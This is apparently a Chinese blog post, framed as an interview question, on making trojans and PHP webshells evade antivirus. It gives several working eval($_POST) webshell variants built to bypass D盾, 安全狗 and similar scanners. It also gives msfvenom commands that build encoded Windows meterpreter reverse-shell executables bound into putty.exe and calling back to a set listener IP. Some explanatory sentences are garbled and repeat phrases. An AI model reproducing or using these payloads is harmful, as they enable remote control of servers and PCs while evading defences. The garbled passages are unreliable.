【木马免杀】


前言

网络安全常见面试题


题目


一.免杀需求,查杀技术,免杀技巧,免杀实战

免杀需求

因为设计的木马的最终目的在发现目标网站有上传漏洞时可以将木马上传到目标服务器上并且可以远程访问实现远程控制,然而一些网站都会有安全狗、D盾、安骑士、护卫神、云锁等防护软件可以对一些Webshell进行查杀,那么要想使用Webshell进行远控就需要实现免杀,以此来躲避木马查杀工具的检查。

查杀技术

目前主流的木马查杀方法有:静态检查、动态检测、日志检查三种方式。

1.静态检查通过匹配特征码、危险函数和木马特征值来查杀木马程序,它的特点是快速方便,对已知的木马程序查找准确率较高。它的缺点是误报率较高,无法查找0Day型的木马程序,而且容易被绕过。

2.动态检测通过木马程序的动态特征来检测,当木马程序被上传到服务器上后,攻击者总会去执行它,当木马程序被执行时所表现出来的特征就是所谓的动态特征。

2.日志检测则主要通过日志分析检测技术来实现,它主要通过分析大量的日志文件并建立请求模型来检测出异常文件。它的优点为当网站上的访问量级达到一致值时,这种检测方法具有比较大参考性价值。它的缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变的比较低。

免杀技巧

1.木马程序可以使用多种编程语言来设计,不同的编程语言有不同特性以及提供的系统函数,所以在实现免杀时可以首先考虑灵活运用语言的特性来实现免杀,
2.其次可以根据查杀软件的查杀规则来重构木马程序,躲避木马查杀工具的查杀
3.同时可以考虑密码学中的加密解密对源木马程序进行加密解密处理,以此来躲避木马查杀工具的检查。
木马免杀技术的核心在于“灵活多变”。

免杀实战

一句话木马未经过免杀变形时,例如

<?php 
  @eval($_POST['123']); 
?>

webshell免杀:

1.引用免杀

因为D盾、安全狗、护卫神会对关键字eval中的执行变量进行溯源,当追溯到要执行的变量为一个通过POST接收的可疑数据时就会显示可疑木马,为了躲避这种溯源方式,可以通过多次使用&来引用前一个变量,通过一连串的赋值操作最后将要执行的内容与反引号拼接后传入eval实现免杀,具体实现如下所示:

<?php 
$b=&$a;
$a=$_POST['123'];
$c=&$b;
eval(`/***aaa***/`.$c);
?>
2.可变变量

可变变量是PHP中一种较为独特的变量,它可以动态的改变一个变量的名称,这种特性可以用于木马免杀中。首先可以定义一个变量 a 并为其赋值为 a a , 之后将木马内容赋值给可变变量 a并为其赋值为aa,之后将木马内容赋值给可变变量 a并为其赋值为aa,之后将木马内容赋值给可变变量 a , 最后在调用 e v a l 函数执行时将执行对象定义为 a,最后在调用eval函数执行时将执行对象定义为 a,最后在调用eval函数执行时将执行对象定义为aa即可,具体实现如下所示:

<?php
$a = 'aa';
$$a = $_POST['123'];
eval(`/**123**/`.$aa);
?>
3.二维数组

在免杀时我们可以考虑见要执行的一句话木马程序放到数组中执行达到绕过的目的,例如:

<?php
$b =substr_replace("assexx","rt",4);
$a = array($array = array(" => $b($_POST['123'])));
var_dump($a);
?>
4.数组交集

在做免杀研究是,发现我们可以通过数组的交集来获得我们想要的值,之后将其利用到木马程序的构造当中,例如:

<?php
$a1=array("a"=>"red" ,"ss"=>"green","c"=>"blue" ,"er"=>"hello","t"=>"hey");
$a2=array("a"=>"red","ss"=>"blue" ,"d"=>"pink","er"=>"hellos", "moza"=>"good_boy","t"=>"hey");$result=array_intersect_key($a1,$a2);//取数组交集
$a = array_keys($result);//取数组键值
$man = $a[0].$a[1].$a[2]."t";
$kk=$_POST['q'];
@$man(`/**/`.$kk=$kk);print _r($a1);//扰乱规则
?>

此免杀方式可以绕过绝大多数查杀软件

5.回调函数

array_map() 回调函数会返回用户自定义函数作用后的数组。array_map() 函数具体使用方法和参数说明如下:

在这里我们可以先定义一个函数test,其中第一个参数 a 用作回调函数名称,第二个参数 a用作回调函数名称,第二个参数 a用作回调函数名称,第二个参数b用作回调函数的参数,之后将其传递给array_map()函数进行执行,之后我们在外部调用test函数,同时传入我们的回调函数名称和回调函数的参数

<?php
function test($a,$b){
    
    
	array_map($a,$b);
}
test(eval,array($_POST['123']));
?>
array_filter()
call_user_func_array() //可代替array_map的函数
6.编码

可以对关键函数,如eval,assert等进行base64编码处理,或通过数组拼接再回调等

木马免杀:

1.msf自带免杀
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -e x86/shikata_ga_nai -b "\x00" -i 15 -f exe -o shell.exe
2.msf捆绑免杀
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -x putty.exe -f exe -o shell.exe
3.msf自带免杀+捆绑
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o shell.exe
4.backdoor-factory
5.unicorn 独角兽

总结

本期主要介绍了木马免杀的一些方法

猜你喜欢

转载自blog.csdn.net/qq_61872115/article/details/126130811